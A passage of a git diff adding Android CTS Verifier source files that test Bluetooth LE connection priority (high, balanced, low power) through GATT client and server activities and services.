+                mCurrentTest = BLE_CONNECTION_LOW;

+                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

+                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_LOW_POWER);

+                startService(intent);

+                String msg = getString(R.string.ble_client_connection_priority)

+                        + getString(R.string.ble_connection_priority_low);

+                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

+            }

+                break;

+            case BLE_CONNECTION_HIGH: {

+                mCurrentTest = BLE_CONNECTION_BALANCED;

+                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

+                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_BALANCED);

+                startService(intent);

+                String msg = getString(R.string.ble_client_connection_priority)

+                        + getString(R.string.ble_connection_priority_balanced);

+                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

+            }

+                break;

+            case BLE_CONNECTION_LOW:

+                // all test done

+                closeDialog();

+                if (mPassed == ALL_PASSED) {

+                    Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

+                    intent.setAction(BleConnectionPriorityClientService.ACTION_DISCONNECT);

+                    startService(intent);

+                }

+                break;

+            default:

+                // something went wrong

+                closeDialog();

+                break;

+        }

+    }

+

+    public boolean shouldRebootBluetoothAfterTest() {

+        return false;

+    }

+

+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            String action = intent.getAction();

+            switch (action) {

+            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED:

+                new AlertDialog.Builder(context)

+                        .setTitle(R.string.ble_bluetooth_disable_title)

+                        .setMessage(R.string.ble_bluetooth_disable_message)

+                        .setOnCancelListener(new Dialog.OnCancelListener() {

+                            @Override

+                            public void onCancel(DialogInterface dialog) {

+                                finish();

+                            }

+                        })

+                        .create().show();

+                break;

+            case BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED:

+                showProgressDialog();

+                executeNextTest(3000);

+                break;

+            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH:

+                mTestAdapter.setTestPass(BLE_CONNECTION_HIGH);

+                mPassed |= PASSED_HIGH;

+                executeNextTest(1000);

+                break;

+            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED:

+                mTestAdapter.setTestPass(BLE_CONNECTION_BALANCED);

+                mPassed |= PASSED_BALANCED;

+                executeNextTest(1000);

+                break;

+            case BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER:

+                mTestAdapter.setTestPass(BLE_CONNECTION_LOW);

+                mPassed |= PASSED_LOW;

+                executeNextTest(100);

+                break;

+            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE:

+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);

+                break;

+            case BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE:

+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);

+                break;

+            case BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT:

+                if (shouldRebootBluetoothAfterTest()) {

+                    mBtPowerSwitcher.executeSwitching();

+                } else {

+                    getPassButton().setEnabled(true);

+                }

+                break;

+            }

+            mTestAdapter.notifyDataSetChanged();

+        }

+    };

+

+    private static final long BT_ON_DELAY = 10000;

+    private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();

+    private class BluetoothPowerSwitcher extends BroadcastReceiver {

+

+        private boolean mIsSwitching = false;

+        private BluetoothAdapter mAdapter;

+

+        public void executeSwitching() {

+            if (mAdapter == null) {

+                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+                mAdapter = btMgr.getAdapter();

+            }

+

+            if (!mIsSwitching) {

+                IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);

+                registerReceiver(this, filter);

+                mIsSwitching = true;

+                mHandler.postDelayed(new Runnable() {

+                    @Override

+                    public void run() {

+                        mAdapter.disable();

+                    }

+                }, 1000);

+                showProgressDialog();

+            }

+        }

+

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {

+                int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);

+                if (state == BluetoothAdapter.STATE_OFF) {

+                    mHandler.postDelayed(new Runnable() {

+                        @Override

+                        public void run() {

+                            mAdapter.enable();

+                        }

+                    }, BT_ON_DELAY);

+                } else if (state == BluetoothAdapter.STATE_ON) {

+                    mIsSwitching = false;

+                    unregisterReceiver(this);

+                    getPassButton().setEnabled(true);

+                    closeDialog();

+                }

+            }

+        }

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
new file mode 100644
index 0000000..28fd023
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientService.java
@@ -0,0 +1,435 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.Service;

+import android.bluetooth.BluetoothAdapter;

+import android.bluetooth.BluetoothDevice;

+import android.bluetooth.BluetoothGatt;

+import android.bluetooth.BluetoothGattCallback;

+import android.bluetooth.BluetoothGattCharacteristic;

+import android.bluetooth.BluetoothGattService;

+import android.bluetooth.BluetoothManager;

+import android.bluetooth.BluetoothProfile;

+import android.bluetooth.le.BluetoothLeScanner;

+import android.bluetooth.le.ScanCallback;

+import android.bluetooth.le.ScanFilter;

+import android.bluetooth.le.ScanResult;

+import android.bluetooth.le.ScanSettings;

+import android.content.Context;

+import android.content.Intent;

+import android.os.DeadObjectException;

+import android.os.Handler;

+import android.os.IBinder;

+import android.os.ParcelUuid;

+import android.util.Log;

+import android.widget.Toast;

+

+import java.util.Arrays;

+import java.util.Date;

+import java.util.List;

+import java.util.Set;

+import java.util.Timer;

+import java.util.TimerTask;

+import java.util.UUID;

+

+public class BleConnectionPriorityClientService extends Service {

+    public static final boolean DEBUG = true;

+    public static final String TAG = "BlePriorityClient";

+

+    public static final String ACTION_BLUETOOTH_DISABLED =

+            "com.android.cts.verifier.bluetooth.action.BLUETOOTH_DISABLED";

+

+    public static final String ACTION_CONNECTION_SERVICES_DISCOVERED =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_SERVICES_DISCOVERED";

+

+    public static final String ACTION_BLUETOOTH_MISMATCH_SECURE =

+            "com.android.cts.verifier.bluetooth.action.ACTION_BLUETOOTH_MISMATCH_SECURE";

+    public static final String ACTION_BLUETOOTH_MISMATCH_INSECURE =

+            "com.android.cts.verifier.bluetooth.action.ACTION_BLUETOOTH_MISMATCH_INSECURE";

+

+    public static final String ACTION_CONNECTION_PRIORITY_BALANCED =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_BALANCED";

+    public static final String ACTION_CONNECTION_PRIORITY_HIGH =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_HIGH";

+    public static final String ACTION_CONNECTION_PRIORITY_LOW_POWER =

+            "com.android.cts.verifier.bluetooth.action.CONNECTION_PRIORITY_LOW_POWER";

+

+    public static final String ACTION_FINISH_CONNECTION_PRIORITY_BALANCED =

+            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_BALANCED";

+    public static final String ACTION_FINISH_CONNECTION_PRIORITY_HIGH =

+            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_HIGH";

+    public static final String ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER =

+            "com.android.cts.verifier.bluetooth.action.FINISH_CONNECTION_PRIORITY_LOW_POWER";

+

+    public static final String ACTION_CLIENT_CONNECT_SECURE =

+            "com.android.cts.verifier.bluetooth.action.CLIENT_CONNECT_SECURE";

+

+    public static final String ACTION_DISCONNECT =

+            "com.android.cts.verifier.bluetooth.action.DISCONNECT";

+    public static final String ACTION_FINISH_DISCONNECT =

+            "com.android.cts.verifier.bluetooth.action.FINISH_DISCONNECT";

+

+    public static final long DEFAULT_INTERVAL = 100L;

+    public static final long DEFAULT_PERIOD = 10000L;

+

+    // this string will be used at writing test and connection priority test.

+    private static final String WRITE_VALUE = "TEST";

+

+    private static final UUID SERVICE_UUID =

+            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

+    private static final UUID CHARACTERISTIC_UUID =

+            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

+    private static final UUID START_CHARACTERISTIC_UUID =

+            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

+    private static final UUID STOP_CHARACTERISTIC_UUID =

+            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

+

+    private BluetoothManager mBluetoothManager;

+    private BluetoothAdapter mBluetoothAdapter;

+    private BluetoothGatt mBluetoothGatt;

+    private BluetoothLeScanner mScanner;

+    private Handler mHandler;

+    private Timer mConnectionTimer;

+    private Context mContext;

+

+    private String mAction;

+    private long mInterval;

+    private long mPeriod;

+    private Date mStartDate;

+    private int mWriteCount;

+    private boolean mSecure;

+

+    private String mPriority;

+

+    private TestTaskQueue mTaskQueue;

+

+    @Override

+    public void onCreate() {

+        super.onCreate();

+

+        mTaskQueue = new TestTaskQueue(getClass().getName() + "__taskHandlerThread");

+

+        mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

+        mBluetoothAdapter = mBluetoothManager.getAdapter();

+        mScanner = mBluetoothAdapter.getBluetoothLeScanner();

+        mHandler = new Handler();

+        mContext = this;

+        mInterval = DEFAULT_INTERVAL;

+        mPeriod = DEFAULT_PERIOD;

+

+        startScan();

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        if (mBluetoothGatt != null) {

+            try {

+                mBluetoothGatt.disconnect();

+                mBluetoothGatt.close();

+            } catch (Exception e) {}

+            finally {

+                mBluetoothGatt = null;

+            }

+        }

+        stopScan();

+

+        mTaskQueue.quit();

+    }

+

+    @Override

+    public IBinder onBind(Intent intent) {

+        return null;

+    }

+

+    private void notifyBluetoothDisabled() {

+        Intent intent = new Intent(ACTION_BLUETOOTH_DISABLED);

+        sendBroadcast(intent);

+    }

+

+    @Override

+    public int onStartCommand(Intent intent, int flags, int startId) {

+        if (intent != null) {

+            mAction = intent.getAction();

+            if (mAction != null) {

+                switch (mAction) {

+                case ACTION_CLIENT_CONNECT_SECURE:

+                    mSecure = true;

+                    break;

+                case ACTION_CONNECTION_PRIORITY_BALANCED:

+                case ACTION_CONNECTION_PRIORITY_HIGH:

+                case ACTION_CONNECTION_PRIORITY_LOW_POWER:

+                    mTaskQueue.addTask(new Runnable() {

+                        @Override

+                        public void run() {

+                            startPeriodicTransmission();

+                        }

+                    });

+                    break;

+                case ACTION_DISCONNECT:

+                    if (mBluetoothGatt != null) {

+                        mBluetoothGatt.disconnect();

+                    } else {

+                        notifyDisconnect();

+                    }

+                    break;

+                }

+            }

+        }

+        return START_NOT_STICKY;

+    }

+

+    private void startPeriodicTransmission() {

+        mWriteCount = 0;

+

+        // Set connection priority

+        switch (mAction) {

+        case ACTION_CONNECTION_PRIORITY_BALANCED:

+            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

+            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

+            break;

+        case ACTION_CONNECTION_PRIORITY_HIGH:

+            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH;

+            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);

+            break;

+        case ACTION_CONNECTION_PRIORITY_LOW_POWER:

+            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER;

+            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);

+            break;

+        default:

+            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

+            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

+            break;

+        }

+

+        // Create Timer for Periodic transmission

+        mStartDate = new Date();

+        TimerTask task = new TimerTask() {

+            @Override

+            public void run() {

+                if (mBluetoothGatt == null) {

+                    if (DEBUG) {

+                        Log.d(TAG, "BluetoothGatt is null, return");

+                    }

+                    return;

+                }

+

+                Date currentData = new Date();

+                if ((currentData.getTime() - mStartDate.getTime()) >= mPeriod) {

+                    if (mConnectionTimer != null) {

+                        mConnectionTimer.cancel();

+                        mConnectionTimer = null;

+                    }

+                    // write termination data (contains current priority and number of messages wrote)

+                    String msg = "" + mPriority + "," + mWriteCount;

+                    writeCharacteristic(STOP_CHARACTERISTIC_UUID, msg);

+                    sleep(1000);

+                    Intent intent = new Intent();

+                    switch (mPriority) {

+                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED:

+                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

+                        break;

+                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH:

+                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

+                        break;

+                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER:

+                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

+                        break;

+                    }

+                    sendBroadcast(intent);

+                }

+

+                if (mConnectionTimer != null) {

+                    // write testing data

+                    ++mWriteCount;

+                    writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE);

+                }

+            }

+        };

+

+        // write starting data

+        writeCharacteristic(START_CHARACTERISTIC_UUID, mPriority);

+

+        // start sending

+        sleep(1000);

+        mConnectionTimer = new Timer();

+        mConnectionTimer.schedule(task, 0, mInterval);

+    }

+

+    private BluetoothGattService getService() {

+        BluetoothGattService service = null;

+

+        if (mBluetoothGatt != null) {

+            service = mBluetoothGatt.getService(SERVICE_UUID);

+            if (service == null) {

+                showMessage("Service not found");

+            }

+        }

+        return service;

+    }

+

+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {

+        BluetoothGattCharacteristic characteristic = null;

+

+        BluetoothGattService service = getService();

+        if (service != null) {

+            characteristic = service.getCharacteristic(uuid);

+            if (characteristic == null) {

+                showMessage("Characteristic not found");

+            }

+        }

+        return characteristic;

+    }

+

+    private void writeCharacteristic(UUID uid, String writeValue) {

+        BluetoothGattCharacteristic characteristic = getCharacteristic(uid);

+        if (characteristic != null){

+            characteristic.setValue(writeValue);

+            mBluetoothGatt.writeCharacteristic(characteristic);

+        }

+    }

+

+    private void sleep(int millis) {

+        try {

+            Thread.sleep(millis);

+        } catch (InterruptedException e) {

+            Log.e(TAG, "Error in thread sleep", e);

+        }

+    }

+

+    private void showMessage(final String msg) {

+        mHandler.post(new Runnable() {

+            public void run() {

+                Toast.makeText(BleConnectionPriorityClientService.this, msg, Toast.LENGTH_SHORT).show();

+            }

+        });

+    }

+

+    private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {

+        @Override

+        public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {

+            if (DEBUG) Log.d(TAG, "onConnectionStateChange");

+            if (status == BluetoothGatt.GATT_SUCCESS) {

+                if (newState == BluetoothProfile.STATE_CONNECTED) {

+                    int bond = gatt.getDevice().getBondState();

+                    boolean bonded = false;

+                    BluetoothDevice target = gatt.getDevice();

+                    Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();

+                    if (pairedDevices.size() > 0) {

+                        for (BluetoothDevice device : pairedDevices) {

+                            if (device.getAddress().equals(target.getAddress())) {

+                                bonded = true;

+                                break;

+                            }

+                        }

+                    }

+                    if (mSecure && ((bond == BluetoothDevice.BOND_NONE) || !bonded)) {

+                        // not pairing and execute Secure Test

+                        mBluetoothGatt.disconnect();

+                        notifyMismatchSecure();

+                    } else if (!mSecure && ((bond != BluetoothDevice.BOND_NONE) || bonded)) {

+                        // already pairing nad execute Insecure Test

+                        mBluetoothGatt.disconnect();

+                        notifyMismatchInsecure();

+                    } else {

+                        showMessage("Bluetooth LE connected");

+                        mBluetoothGatt.discoverServices();

+                    }

+                } else if (newState == BluetoothProfile.STATE_DISCONNECTED) {

+                    showMessage("Bluetooth LE disconnected");

+

+                    notifyDisconnect();

+                }

+            } else {

+                showMessage("Failed to connect");

+                mBluetoothGatt.close();

+                mBluetoothGatt = null;

+            }

+        }

+

+        @Override

+        public void onServicesDiscovered(BluetoothGatt gatt, int status) {

+            if (DEBUG){

+                Log.d(TAG, "onServiceDiscovered");

+            }

+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {

+                showMessage("Service discovered");

+                Intent intent = new Intent(ACTION_CONNECTION_SERVICES_DISCOVERED);

+                sendBroadcast(intent);

+            }

+        }

+

+        @Override

+        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {

+            String value = characteristic.getStringValue(0);

+            UUID uid = characteristic.getUuid();

+            if (DEBUG) {

+                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status + " uid=" + uid);

+            }

+        }

+    };

+

+    private final ScanCallback mScanCallback = new ScanCallback() {

+        @Override

+        public void onScanResult(int callbackType, ScanResult result) {

+            if (mBluetoothGatt == null) {

+                stopScan();

+                mBluetoothGatt = BleClientService.connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);

+            }

+        }

+    };

+

+    private void startScan() {

+        if (DEBUG) {

+            Log.d(TAG, "startScan");

+        }

+        if (!mBluetoothAdapter.isEnabled()) {

+            notifyBluetoothDisabled();

+        } else {

+            List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(

+                    new ParcelUuid(BleConnectionPriorityServerService.ADV_SERVICE_UUID)).build());

+            ScanSettings setting = new ScanSettings.Builder()

+                    .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();

+            mScanner.startScan(filter, setting, mScanCallback);

+        }

+    }

+

+    private void stopScan() {

+        if (DEBUG) {

+            Log.d(TAG, "stopScan");

+        }

+        if (mScanner != null) {

+            mScanner.stopScan(mScanCallback);

+        }

+    }

+

+    private void notifyMismatchSecure() {

+        Intent intent = new Intent(ACTION_BLUETOOTH_MISMATCH_SECURE);

+        sendBroadcast(intent);

+    }

+

+    private void notifyMismatchInsecure() {

+        Intent intent = new Intent(ACTION_BLUETOOTH_MISMATCH_INSECURE);

+        sendBroadcast(intent);

+    }

+

+    private void notifyDisconnect() {

+        Intent intent = new Intent(ACTION_FINISH_DISCONNECT);

+        sendBroadcast(intent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
new file mode 100644
index 0000000..c0a2f09
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
@@ -0,0 +1,243 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.AlertDialog;

+import android.app.Dialog;

+import android.app.ProgressDialog;

+import android.content.BroadcastReceiver;

+import android.content.Context;

+import android.content.DialogInterface;

+import android.content.Intent;

+import android.content.IntentFilter;

+import android.os.Bundle;

+import android.widget.ListView;

+import android.widget.Toast;

+

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleConnectionPriorityServerBaseActivity extends PassFailButtons.Activity {

+

+    public static final int CONNECTION_PRIORITY_HIGH = 0;

+    public static final int CONNECTION_PRIORITY_BALANCED = 1;

+    public static final int CONNECTION_PRIORITY_LOW_POWER = 2;

+

+    private long mAverageBalanced = -1;

+    private long mAverageHigh = -1;

+    private long mAverageLow = -1;

+

+    private TestAdapter mTestAdapter;

+

+    private Dialog mDialog;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.ble_connection_priority_server_test);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_connection_priority_server_name,

+                R.string.ble_connection_priority_server_info, -1);

+

+        getPassButton().setEnabled(false);

+

+        mTestAdapter = new TestAdapter(this, setupTestList());

+        ListView listView = (ListView) findViewById(R.id.ble_server_connection_tests);

+        listView.setAdapter(mTestAdapter);

+

+        startService(new Intent(this, BleConnectionPriorityServerService.class));

+    }

+

+    @Override

+    public void onResume() {

+        super.onResume();

+

+        IntentFilter filter = new IntentFilter();

+        filter.addAction(BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_WRITE_REQUEST);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW);

+        filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

+        filter.addAction(BleServerService.BLE_OPEN_FAIL);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST);

+        registerReceiver(mBroadcast, filter);

+    }

+

+    @Override

+    public void onPause() {

+        super.onPause();

+        unregisterReceiver(mBroadcast);

+        closeDialog();

+    }

+

+    private List<Integer> setupTestList() {

+        ArrayList<Integer> testList = new ArrayList<Integer>();

+        testList.add(R.string.ble_connection_priority_client_high);

+        testList.add(R.string.ble_connection_priority_client_balanced);

+        testList.add(R.string.ble_connection_priority_client_low);

+        return testList;

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(new Intent(this, BleConnectionPriorityServerService.class));

+    }

+

+    private void closeDialog() {

+        if (mDialog != null) {

+            mDialog.dismiss();

+            mDialog = null;

+        }

+    }

+

+    private void showErrorDialog(int titleId, int messageId, boolean finish) {

+        closeDialog();

+

+        AlertDialog.Builder builder = new AlertDialog.Builder(this)

+                .setTitle(titleId)

+                .setMessage(messageId);

+        if (finish) {

+            builder.setOnCancelListener(new Dialog.OnCancelListener() {

+                @Override

+                public void onCancel(DialogInterface dialog) {

+                    finish();

+                }

+            });

+        }

+        mDialog = builder.create();

+        mDialog.show();

+    }

+

+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

+        @Override

+        public void onReceive(Context context, Intent intent) {

+            String action = intent.getAction();

+            long average = intent.getLongExtra(BleConnectionPriorityServerService.EXTRA_AVERAGE, -1);

+            switch (action) {

+            case BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED:

+                new AlertDialog.Builder(context)

+                        .setTitle(R.string.ble_bluetooth_disable_title)

+                        .setMessage(R.string.ble_bluetooth_disable_message)

+                        .setOnCancelListener(new Dialog.OnCancelListener() {

+                            @Override

+                            public void onCancel(DialogInterface dialog) {

+                                finish();

+                            }

+                        })

+                        .create().show();

+                break;

+            case BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST:

+                showProgressDialog();

+                break;

+            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT:

+                mAverageHigh = average;

+                mAverageBalanced = -1;

+                mAverageLow = -1;

+                break;

+            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED:

+                mAverageBalanced = average;

+                break;

+            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW:

+                mAverageLow = average;

+                break;

+            case BleServerService.BLE_OPEN_FAIL:

+                setTestResultAndFinish(false);

+                runOnUiThread(new Runnable() {

+                    @Override

+                    public void run() {

+                        Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

+                    }

+                });

+                break;

+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

+                break;

+            }

+

+            boolean passedHigh = (mAverageHigh >= 0);

+            boolean passedAll = false;

+

+            if (passedHigh) {

+                mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);

+            }

+

+            if (passedHigh && (mAverageLow >= 0) && (mAverageBalanced >= 0)) {

+                boolean passedBalanced = (mAverageHigh <= mAverageBalanced);

+                boolean passedLow = (mAverageBalanced <= mAverageLow);

+

+                if (passedBalanced) {

+                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_BALANCED);

+                }

+                if (passedLow) {

+                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_LOW_POWER);

+                }

+

+                String resultMsg;

+                if (passedBalanced && passedLow) {

+                    resultMsg = getString(R.string.ble_server_connection_priority_result_passed);

+                    passedAll = true;

+                } else {

+                    String detailsMsg = String.format(getString(R.string.ble_server_connection_priority_result_intervals),

+                            mAverageHigh,

+                            mAverageBalanced,

+                            mAverageLow);

+                    resultMsg = getString(R.string.ble_server_connection_priority_result_failed)

+                            + "\n\n"

+                            + detailsMsg;

+                }

+

+                closeDialog();

+                mDialog = new AlertDialog.Builder(BleConnectionPriorityServerBaseActivity.this)

+                        .setMessage(resultMsg)

+                        .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {

+                            @Override

+                            public void onClick(DialogInterface dialog, int which) {

+                                closeDialog();

+                            }

+                        })

+                        .setOnCancelListener(new DialogInterface.OnCancelListener() {

+                            @Override

+                            public void onCancel(DialogInterface dialog) {

+                                closeDialog();

+                            }

+                        })

+                        .create();

+                mDialog.show();

+            }

+

+            getPassButton().setEnabled(passedAll);

+            mTestAdapter.notifyDataSetChanged();

+        }

+    };

+

+    private synchronized void showProgressDialog() {

+        closeDialog();

+

+        ProgressDialog dialog = new ProgressDialog(this);

+        dialog.setTitle(R.string.ble_test_running);

+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);

+        dialog.setMessage(getString(R.string.ble_test_running_message));

+        dialog.setCanceledOnTouchOutside(false);

+        mDialog = dialog;

+        mDialog.show();

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
new file mode 100644
index 0000000..e1e4eed
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
@@ -0,0 +1,418 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.Service;

+import android.bluetooth.BluetoothDevice;

+import android.bluetooth.BluetoothGatt;

+import android.bluetooth.BluetoothGattCharacteristic;

+import android.bluetooth.BluetoothGattDescriptor;

+import android.bluetooth.BluetoothGattServer;

+import android.bluetooth.BluetoothGattServerCallback;

+import android.bluetooth.BluetoothGattService;

+import android.bluetooth.BluetoothManager;

+import android.bluetooth.BluetoothProfile;

+import android.bluetooth.le.AdvertiseCallback;

+import android.bluetooth.le.AdvertiseData;

+import android.bluetooth.le.AdvertiseSettings;

+import android.bluetooth.le.BluetoothLeAdvertiser;

+import android.content.Context;

+import android.content.Intent;

+import android.os.Handler;

+import android.os.IBinder;

+import android.os.ParcelUuid;

+import android.util.Log;

+import android.widget.Toast;

+

+import java.util.Timer;

+import java.util.TimerTask;

+import java.util.UUID;

+

+public class BleConnectionPriorityServerService extends Service {

+    public static final boolean DEBUG = true;

+    public static final String TAG = "BlePriorityServer";

+    private static final String RESET_COUNT_VALUE = "RESET";

+    private static final String START_VALUE = "START";

+    private static final String STOP_VALUE = "STOP";

+    public static final String CONNECTION_PRIORITY_HIGH = "PR_H";

+    public static final String CONNECTION_PRIORITY_BALANCED = "PR_B";

+    public static final String CONNECTION_PRIORITY_LOW_POWER = "PR_L";

+

+    public static final String ACTION_BLUETOOTH_DISABLED =

+            "com.android.cts.verifier.bluetooth.action.BLUETOOTH_DISABLED";

+

